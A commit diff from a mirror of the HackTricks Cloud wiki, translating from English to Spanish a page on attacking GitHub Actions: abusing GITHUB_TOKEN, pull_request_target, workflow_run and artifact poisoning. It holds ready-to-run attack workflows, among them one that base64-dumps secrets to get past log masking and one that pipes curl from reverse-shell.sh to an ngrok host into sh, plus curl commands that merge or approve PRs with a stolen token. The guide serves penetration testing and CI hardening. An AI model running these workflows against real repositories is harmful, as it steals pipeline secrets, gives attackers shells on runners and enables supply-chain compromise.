mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -4,389 +4,371 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In this page you will find:
|
||||
En esta página encontrarás:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action
|
||||
- Diferentes formas de **obtener acceso a una acción**:
|
||||
- Tener **permisos** para crear la acción
|
||||
- Abusar de los **triggers** relacionados con **pull requests**
|
||||
- Abusar de **otras técnicas de acceso externo**
|
||||
- **Pivotar** desde un repositorio ya comprometido
|
||||
- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados)
|
||||
|
||||
## Impacts Summary
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Robar secretos** montados en la pipeline y **abusar de los privilegios de la pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
|
||||
- **Comprometer despliegues** y otros **artefactos**.
|
||||
- Si la pipeline despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro.
|
||||
- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas.
|
||||
- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github debería liberar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\
|
||||
Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Algunas cosas interesantes que puedes hacer con este token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="Aprobar PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="Crear PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Listar secretos en la salida de Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Obtener shell inverso con secretos</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## Ejecución Permitida
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](./#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execution from Repo Creation
|
||||
### Ejecución desde la Creación de un Repositorio
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
|
||||
|
||||
### Execution from a New Branch
|
||||
### Ejecución desde una Nueva Rama
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman).
|
||||
|
||||
Puedes hacer que la acción modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Ejecución Forked
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
El desencadenador del flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> Dado que la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
El desencadenador del flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Ten en cuenta que el desencadenador del flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
Puede parecer que como el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
Y este tendrá **acceso a secretos**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en_progreso`.
|
||||
|
||||
En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas":
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**.
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**encontrar en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Abusando de la Ejecución Bifurcada
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Ejecución de checkout no confiable
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](./#pull_request).
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSEGURO. Proporcionado solo como un ejemplo.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
¡Gracias!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Inyecciones de Script en Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **Inyección de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
De la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Acciones de Github de Terceros Vulnerables
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Como se mencionó en [**esta publicación de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artifacts de diferentes flujos de trabajo e incluso repositorios.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
El problema es que si el parámetro **`path`** no está configurado, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados más tarde en el flujo de trabajo. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el Artifact.
|
||||
|
||||
Ejemplo de flujo de trabajo vulnerable:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
Esto podría ser atacado con este flujo de trabajo:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## Otro Acceso Externo
|
||||
|
||||
